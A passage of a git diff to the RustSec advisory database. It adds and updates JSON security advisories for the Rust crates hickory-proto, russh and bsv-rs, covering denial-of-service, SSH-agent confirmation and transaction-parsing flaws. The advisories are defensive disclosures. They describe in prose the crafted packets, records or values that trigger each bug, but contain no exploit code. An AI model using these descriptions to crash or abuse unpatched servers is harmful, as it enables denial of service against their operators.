0.26.2.","affected":[{"package":{"name":"hickory-proto","ecosystem":"crates.io","purl":"pkg:cargo/hickory-proto"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.20.1"},{"fixed":"0.26.2"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["denial-of-service"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0487.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-proto"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0487.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/80eaf9e79f7561e2bc1cf5b89eaba7fd25de3284"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0488.json b/data/crates.io/RUSTSEC-2026-0488.json index 060ab25479..3cf93353b0 100644 --- a/data/crates.io/RUSTSEC-2026-0488.json +++ b/data/crates.io/RUSTSEC-2026-0488.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"RUSTSEC-2026-0488","published":"2026-09-03T12:00:00Z","modified":"2026-11-11T12:30:02.896196450Z","aliases":["GHSA-x962-5xwx-fr8x"],"summary":"Integer underflow when reporting a malformed TSIG record","details":"When a TSIG record is decoded from the DNS wire format, its MAC length and \"other data\" length are checked against the end of the record data. If a check failed, the error value was built from `end_idx - decoder.index()`. For a malformed record the decoder can already be past `end_idx`, so this unsigned subtraction underflows.\n\nIn builds with overflow checks enabled (the `dev` profile by default) the underflow panics, so a peer that sends a crafted TSIG record can crash the process. In builds without overflow checks the result wraps and is only used in the returned error.\n\nThe fix returns a plain \"insufficient bytes\" error without the subtraction. It is in 0.26.2.","affected":[{"package":{"name":"hickory-proto","ecosystem":"crates.io","purl":"pkg:cargo/hickory-proto"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.26.0"},{"fixed":"0.26.2"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["denial-of-service"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0488.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-proto"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0488.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/b1246a8a21b6dcc34d427a7d39dd96e10825c384"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0488","published":"2026-09-03T12:00:00Z","modified":"2026-11-12T09:45:02.534591336Z","aliases":["CVE-2026-123571","GHSA-x962-5xwx-fr8x"],"summary":"Integer underflow when reporting a malformed TSIG record","details":"When a TSIG record is decoded from the DNS wire format, its MAC length and \"other data\" length are checked against the end of the record data. If a check failed, the error value was built from `end_idx - decoder.index()`. For a malformed record the decoder can already be past `end_idx`, so this unsigned subtraction underflows.\n\nIn builds with overflow checks enabled (the `dev` profile by default) the underflow panics, so a peer that sends a crafted TSIG record can crash the process. In builds without overflow checks the result wraps and is only used in the returned error.\n\nThe fix returns a plain \"insufficient bytes\" error without the subtraction. It is in 0.26.2.","affected":[{"package":{"name":"hickory-proto","ecosystem":"crates.io","purl":"pkg:cargo/hickory-proto"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.26.0"},{"fixed":"0.26.2"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["denial-of-service"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0488.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-proto"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0488.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/b1246a8a21b6dcc34d427a7d39dd96e10825c384"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0489.json b/data/crates.io/RUSTSEC-2026-0489.json index 7f6004ef26..8f4bddd747 100644 --- a/data/crates.io/RUSTSEC-2026-0489.json +++ b/data/crates.io/RUSTSEC-2026-0489.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"RUSTSEC-2026-0489","published":"2026-09-03T12:00:00Z","modified":"2026-11-11T12:30:02.444925481Z","aliases":["GHSA-wgfr-mphw-j5g4"],"summary":"Panic when an SVCB or HTTPS parameter value is a single quote character","details":"When an SVCB or HTTPS record is parsed from its text (zone file) form, surrounding double quotes are removed from each service parameter value by checking that the value starts and ends with `\"` and slicing off the first and last character. A value that is a single `\"` (for example `alpn=\"`) passes that check, and the slice `[1..0]` panics.\n\nCode that parses zone files or record text from an untrusted source can be made to panic, which is a denial of service. Records decoded from the DNS wire format are not parsed this way.\n\nThe fix rejects a lone quote character with a parse error before the slice. It is in 0.26.2.","affected":[{"package":{"name":"hickory-proto","ecosystem":"crates.io","purl":"pkg:cargo/hickory-proto"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.20.1"},{"fixed":"0.26.2"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["denial-of-service"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0489.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-proto"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0489.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/c663b60a4b4b98deb45d16ccbf10ce2f76cd88a9"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0489","published":"2026-09-03T12:00:00Z","modified":"2026-11-12T09:45:02.524857780Z","aliases":["CVE-2026-123573","GHSA-wgfr-mphw-j5g4"],"summary":"Panic when an SVCB or HTTPS parameter value is a single quote character","details":"When an SVCB or HTTPS record is parsed from its text (zone file) form, surrounding double quotes are removed from each service parameter value by checking that the value starts and ends with `\"` and slicing off the first and last character. A value that is a single `\"` (for example `alpn=\"`) passes that check, and the slice `[1..0]` panics.\n\nCode that parses zone files or record text from an untrusted source can be made to panic, which is a denial of service. Records decoded from the DNS wire format are not parsed this way.\n\nThe fix rejects a lone quote character with a parse error before the slice. It is in 0.26.2.","affected":[{"package":{"name":"hickory-proto","ecosystem":"crates.io","purl":"pkg:cargo/hickory-proto"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.20.1"},{"fixed":"0.26.2"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["denial-of-service"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0489.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-proto"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0489.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/c663b60a4b4b98deb45d16ccbf10ce2f76cd88a9"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0490.json b/data/crates.io/RUSTSEC-2026-0490.json index 0dbfd6b115..f61d7e1159 100644 --- a/data/crates.io/RUSTSEC-2026-0490.json +++ b/data/crates.io/RUSTSEC-2026-0490.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"RUSTSEC-2026-0490","published":"2026-09-03T12:00:00Z","modified":"2026-11-11T12:41:09.446683259Z","aliases":["CVE-2026-123574","GHSA-4rph-pmrw-mwpw"],"summary":"Zone file lexer panics on a token of 4096 or more characters","details":"The zone file lexer read each token in a loop capped at 4,096 iterations, with an `assert!` on the loop counter as a safety bound. A single token long enough to reach that bound, for example a very long name or character string in a zone file, triggered the assertion and the parser panicked instead of returning the token or an error.\n\nCode that parses zone files from an untrusted source can be made to panic, which is a denial of service.\n\nThe fix removes the iteration bound, so the lexer ends only when it reaches the end of a token or an error. It is in 0.26.2.","affected":[{"package":{"name":"hickory-proto","ecosystem":"crates.io","purl":"pkg:cargo/hickory-proto"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.24.0"},{"fixed":"0.26.2"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["denial-of-service"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0490.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-proto"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0490.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/0494e15c88fba612f9ecb4f013eb3b221822c867"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0490","published":"2026-09-03T12:00:00Z","modified":"2026-11-12T09:31:57Z","aliases":["CVE-2026-123574","GHSA-4rph-pmrw-mwpw"],"summary":"Zone file lexer panics on a token of 4096 or more characters","details":"The zone file lexer read each token in a loop capped at 4,096 iterations, with an `assert!` on the loop counter as a safety bound. A single token long enough to reach that bound, for example a very long name or character string in a zone file, triggered the assertion and the parser panicked instead of returning the token or an error.\n\nCode that parses zone files from an untrusted source can be made to panic, which is a denial of service.\n\nThe fix removes the iteration bound, so the lexer ends only when it reaches the end of a token or an error. It is in 0.26.2.","affected":[{"package":{"name":"hickory-proto","ecosystem":"crates.io","purl":"pkg:cargo/hickory-proto"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.24.0"},{"fixed":"0.26.2"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["denial-of-service"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0490.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-proto"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0490.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/0494e15c88fba612f9ecb4f013eb3b221822c867"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0491.json b/data/crates.io/RUSTSEC-2026-0491.json index c0ca48cb7b..d45e401050 100644 --- a/data/crates.io/RUSTSEC-2026-0491.json +++ b/data/crates.io/RUSTSEC-2026-0491.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"RUSTSEC-2026-0491","published":"2026-09-03T12:00:00Z","modified":"2026-11-11T12:30:02.901694858Z","aliases":["GHSA-67wc-6jq8-ghrc"],"summary":"Memory amplification from record counts in the DNS message header","details":"When a DNS message is decoded, the vectors for the question, answer, authority and additional sections were created with `Vec::with_capacity` set to the counts in the message header. Those counts come from the sender and are not checked against the size of the message, so a single small packet that claims 65,535 records makes the decoder reserve memory for that many records (about 18 MB, according to the upstream advisory) before it reads any record and fails.\n\nAny code that decodes untrusted DNS messages is exposed. That includes servers, and clients and resolvers that receive spoofed responses. Repeated packets can drive memory use up and cause a denial of service.\n\nThe fix caps the initial capacity at 8 entries and lets the vectors grow as records are actually decoded. It is in 0.26.2.","affected":[{"package":{"name":"hickory-proto","ecosystem":"crates.io","purl":"pkg:cargo/hickory-proto"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.18.0"},{"fixed":"0.26.2"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["denial-of-service"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0491.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-proto"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0491.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/280c0e5c4e3002d73ba0762835ef82272d1d33a6"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0491","published":"2026-09-03T12:00:00Z","modified":"2026-11-12T09:45:02.494262633Z","aliases":["CVE-2026-123570","GHSA-67wc-6jq8-ghrc"],"summary":"Memory amplification from record counts in the DNS message header","details":"When a DNS message is decoded, the vectors for the question, answer, authority and additional sections were created with `Vec::with_capacity` set to the counts in the message header. Those counts come from the sender and are not checked against the size of the message, so a single small packet that claims 65,535 records makes the decoder reserve memory for that many records (about 18 MB, according to the upstream advisory) before it reads any record and fails.\n\nAny code that decodes untrusted DNS messages is exposed. That includes servers, and clients and resolvers that receive spoofed responses. Repeated packets can drive memory use up and cause a denial of service.\n\nThe fix caps the initial capacity at 8 entries and lets the vectors grow as records are actually decoded. It is in 0.26.2.","affected":[{"package":{"name":"hickory-proto","ecosystem":"crates.io","purl":"pkg:cargo/hickory-proto"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.18.0"},{"fixed":"0.26.2"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["denial-of-service"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0491.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-proto"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0491.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/280c0e5c4e3002d73ba0762835ef82272d1d33a6"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0492.json b/data/crates.io/RUSTSEC-2026-0492.json new file mode 100644 index 0000000000..c2aadfa2b8 --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0492.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0492","published":"2026-09-30T12:00:00Z","modified":"2026-11-12T08:00:03.171769819Z","aliases":["CVE-2026-102823","GHSA-47hw-gvq5-r2gm"],"summary":"Client `Handler` callbacks run for channels the client never opened","details":"On the client side, russh passed channel messages from the server (data, extended data, EOF, close, success, failure, open failure and the exit-status, exit-signal and xon-xoff requests) to the application's `client::Handler` callbacks without checking that the channel number belonged to a channel the client had opened and the server had confirmed. The server side already performed this check.\n\nA malicious or compromised SSH server can therefore send these messages for any channel number, including the next number the client will allocate (they are assigned in order) or one it has already closed. An application that tracks per-channel state can be made to record a false exit status, see a channel close before its real output arrives, or panic when it looks up a channel it does not know.\n\nFrom 0.63.1 the client ignores channel messages for channels that are not established and confirmed, and handles an open failure only for a channel it is actually opening.","affected":[{"package":{"name":"russh","ecosystem":"crates.io","purl":"pkg:cargo/russh"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.63.1"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":[],"cvss":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0492.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/russh"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0492.html"},{"type":"WEB","url":"https://github.com/Eugeny/russh/commit/3430fd26ecafc0dc3705210f5f39a9119fa22774"}],"database_specific":{"license":"CC0-1.0"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}]} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0493.json b/data/crates.io/RUSTSEC-2026-0493.json new file mode 100644 index 0000000000..5f5cbae2dc --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0493.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0493","published":"2026-05-29T12:00:00Z","modified":"2026-11-12T08:00:03.169505304Z","aliases":["CVE-2026-46702","GHSA-wwx6-x28x-8259"],"summary":"No limit on the size of a decompressed SSH packet","details":"With `zlib` or `zlib@openssh.com` compression negotiated, the packet length that russh checks applies to the compressed payload only. The decompressor kept growing its output buffer until the whole payload was inflated, with no limit of its own, so a packet that is small on the wire could expand to hundreds of megabytes before it was parsed.\n\nThe default server configuration offers both zlib methods, and a client that lists compression first can select it during the initial key exchange. That client can then send such a packet after `NEWKEYS` but before authenticating, so a russh server with default settings can be made to use large amounts of memory by an unauthenticated peer. A malicious server can do the same to a client that negotiated compression.\n\nFrom 0.61.1, decompressed output is capped at the same maximum as an uncompressed packet (256 KiB plus a few bytes of header room), and larger packets are rejected with `Error::PacketSize`.","affected":[{"package":{"name":"russh","ecosystem":"crates.io","purl":"pkg:cargo/russh"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.34.0"},{"fixed":"0.61.1"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["denial-of-service"],"cvss":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0493.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/russh"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0493.html"},{"type":"WEB","url":"https://github.com/Eugeny/russh/commit/2692a6f66edafaf63f463c412b45d8490f7ad06e"}],"database_specific":{"license":"CC0-1.0"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0494.json b/data/crates.io/RUSTSEC-2026-0494.json new file mode 100644 index 0000000000..7a2c364bcd --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0494.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0494","published":"2026-06-11T12:00:00Z","modified":"2026-11-12T08:00:03.163915097Z","aliases":["CVE-2026-48110","GHSA-4r3c-5hpg-58qr"],"summary":"SSH message fields allocated before their size is checked","details":"Many of russh's client and server message handlers decoded length-prefixed strings, byte fields and name-lists from the peer into owned `String`, `Vec` or name-list values first and only checked their size and meaning afterwards. This includes the algorithm name-lists in `SSH_MSG_KEXINIT`, which a server parses during the initial key exchange, before any authentication.\n\nA peer can fill these fields with oversized or highly fragmented values, for example a name-list of hundreds of thousands of one-letter algorithm names, and make russh allocate far more memory than the packet itself takes. With many concurrent connections this can exhaust the memory of a server process.\n\nFrom 0.61.0, name-lists are rejected before they are split into separate strings when they are longer than 16 KiB or hold more than 1,024 entries, and the key exchange decodes its algorithm lists through this bounded decoder.","affected":[{"package":{"name":"russh","ecosystem":"crates.io","purl":"pkg:cargo/russh"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.34.0"},{"fixed":"0.61.0"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["denial-of-service"],"cvss":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0494.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/russh"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0494.html"},{"type":"WEB","url":"https://github.com/Eugeny/russh/commit/72b250aa2dacb3bb1b13a84499c09bd9fc836158"}],"database_specific":{"license":"CC0-1.0"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0495.json b/data/crates.io/RUSTSEC-2026-0495.json new file mode 100644 index 0000000000..8e37e79797 --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0495.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0495","published":"2026-10-30T12:00:00Z","modified":"2026-11-12T08:00:04.101465487Z","aliases":["CVE-2026-116794","GHSA-vp5q-ff62-jwqv"],"summary":"Agent server signs with confirm-constrained keys without calling `Agent::confirm`","details":"A key added to an SSH agent with the confirm constraint (what `ssh-add -c` sends) must not be used to sign until the user approves each use. russh's agent server (`russh::keys::agent::server`) accepted the constraint, but when a sign request arrived for such a key it used a fixed `true` in place of the result of `Agent::confirm`, so the application's confirmation step never ran. This started in 0.50.0-beta.12; 0.50.0-beta.8 to beta.11 still called `confirm`, and earlier russh releases have no agent server.\n\nAny process that can reach the agent, including a remote host when the agent is forwarded, can then sign with the protected key without the user's approval, for example to log in elsewhere as the user. The private key itself is not disclosed. Agents whose `Agent::confirm` keeps the default, which always returns `true`, behave the same before and after the fix.\n\nFrom 0.65.0 the agent server calls `Agent::confirm` for confirm-constrained keys and refuses to sign when it returns `false`. Implementations that left `confirm` unimplemented (for example as `todo!()`) will now reach that code.","affected":[{"package":{"name":"russh","ecosystem":"crates.io","purl":"pkg:cargo/russh"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.50.0-beta.12"},{"fixed":"0.65.0"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":[],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0495.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/russh"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0495.html"},{"type":"WEB","url":"https://github.com/Eugeny/russh/commit/62db6e7defd6d244159da962ccccb029e785ce0f"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0496.json b/data/crates.io/RUSTSEC-2026-0496.json new file mode 100644 index 0000000000..7b8a2c1f24 --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0496.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0496","published":"2026-04-24T12:00:00Z","modified":"2026-11-12T08:00:04.107511355Z","aliases":["CVE-2026-42189","GHSA-f5v4-2wr6-hqmg"],"summary":"Pre-authentication allocation from the keyboard-interactive response count","details":"A server that answers a keyboard-interactive authentication request with prompts (`Auth::Partial`, as a TOTP or other second-factor login does) then parses the client's `SSH_MSG_USERAUTH_INFO_RESPONSE`. russh read the number of responses from that message and reserved a vector of that many entries before reading any of them. A client that has not authenticated can send a very large count in a packet that carries no responses at all, and the server tries to allocate several gigabytes and may be killed for running out of memory.\n\nServers whose handler keeps the default behaviour, which rejects keyboard-interactive authentication, are not affected. From 0.60.1 the count is limited by how many responses the remaining packet data could actually hold.","affected":[{"package":{"name":"russh","ecosystem":"crates.io","purl":"pkg:cargo/russh"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.60.1"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["denial-of-service"],"cvss":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0496.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/russh"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0496.html"},{"type":"WEB","url":"https://github.com/Eugeny/russh/commit/6c3c80a9b6d60763d6227d60fa8310e57172a4d1"}],"database_specific":{"license":"CC0-1.0"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0497.json b/data/crates.io/RUSTSEC-2026-0497.json new file mode 100644 index 0000000000..be39aeac7e --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0497.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0497","published":"2026-11-11T12:00:00Z","modified":"2026-11-12T08:00:03.171704098Z","aliases":["GHSA-84xq-3662-pvx5"],"summary":"Transaction::from_json holds an input txid that is not 64 hex digits and writes the input as spending the zero txid","details":"`Transaction::from_json`, for a document with no `hex` member, held each\ninput's `txid` member as given. An input `txid` that is not 64 hex digits\n(`\"zz\"`, `\"\"`, 63 or 65 digits, characters that are not hex digits) answered\n`Ok`: `source_txid` and `to_json` gave the text back, while `to_binary` wrote\nthe input as spending the txid of 32 zero bytes and `id()` hashed those bytes.\nDocuments naming different texts were one transaction, spending an outpoint\nnone of them named.\n\nAn application that reads a peer's transaction document with `from_json` and\nrelies both on the text of its inputs and on its bytes or `id()` is affected;\none that reads only documents it produced is not.\n\n0.8.6 refuses such a txid (`Invalid txid of input N: expected 64 hex digits`).\nWhere upgrading is not possible, require each input's `txid` to be 64 ASCII hex\ndigits before calling `from_json`.","affected":[{"package":{"name":"bsv-rs","ecosystem":"crates.io","purl":"pkg:cargo/bsv-rs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.8.6"},{"introduced":"0.9.0-beta.1"},{"fixed":"0.9.0-beta.7.0"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":["bsv_rs::transaction::Transaction::from_json"],"os":[]}},"database_specific":{"categories":[],"cvss":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0497.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/bsv-rs"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0497.html"},{"type":"WEB","url":"https://github.com/Calhooon/bsv-rs/blob/v0.8.6/CHANGELOG.md"},{"type":"REPORT","url":"https://github.com/Calhooon/bsv-rs/issues/845"},{"type":"WEB","url":"https://github.com/Calhooon/bsv-rs/pull/856"}],"database_specific":{"license":"CC0-1.0"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"}]} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0498.json b/data/crates.io/RUSTSEC-2026-0498.json new file mode 100644 index 0000000000..fc51e37728 --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0498.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0498","published":"2026-11-10T12:00:00Z","modified":"2026-11-12T08:11:08.643204332Z","aliases":["GHSA-j8hr-pjhm-6h27","RUSTSEC-2026-0500"],"summary":"Transaction readers accept trailing bytes, so a parsed transaction can carry another transaction id","details":"`Transaction::from_binary` and `Transaction::from_hex` read one transaction\nfrom the front of their input, did not check that the input ended there, and\nkept the whole input as the transaction's cached serialization: `to_binary`,\n`to_hex` and `id()` then answered for bytes that are not the transaction's.\n`Transaction::from_json`, given a `hex` field, reads it through `from_hex` and\nanswers the same. `from_ef`, `from_hex_ef` and `parse_script_offsets` also\nread a prefix.\n\nAn application that takes bytes or hex from outside, parses them with these\nreaders and then uses `id()` or the serialization could be given one\ntransaction under another identity: the same parsed fields, a different id.\nAn application that passes them only bytes it produced or has already checked\nis not affected.\n\n0.8.5 refuses a byte after the transaction; `Transaction::from_reader` reads\nfrom the front of a longer buffer. Where upgrading is not possible, parse with\n`Transaction::from_binary`, call `tx.invalidate_caches()` (public from 0.3.16)\nand require `tx.to_binary() == bytes`.","affected":[{"package":{"name":"bsv-rs","ecosystem":"crates.io","purl":"pkg:cargo/bsv-rs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.8.5"},{"introduced":"0.9.0-beta.1"},{"fixed":"0.9.0-beta.7.0"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":["bsv_rs::transaction::Transaction::from_binary","bsv_rs::transaction::Transaction::from_ef","bsv_rs::transaction::Transaction::from_hex","bsv_rs::transaction::Transaction::from_hex_ef","bsv_rs::transaction::Transaction::from_json","bsv_rs::transaction::Transaction::parse_script_offsets"],"os":[]}},"database_specific":{"categories":["crypto-failure"],"cvss":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0498.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/bsv-rs"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0498.html"},{"type":"WEB","url":"https://github.com/Calhooon/bsv-rs/blob/v0.8.5/CHANGELOG.md"},{"type":"REPORT","url":"https://github.com/Calhooon/bsv-rs/issues/840"}],"database_specific":{"license":"CC0-1.0"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"}]} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0499.json b/data/crates.io/RUSTSEC-2026-0499.json new file mode 100644 index 0000000000..110a51716d --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0499.json @@ -0,0 +1 @@ 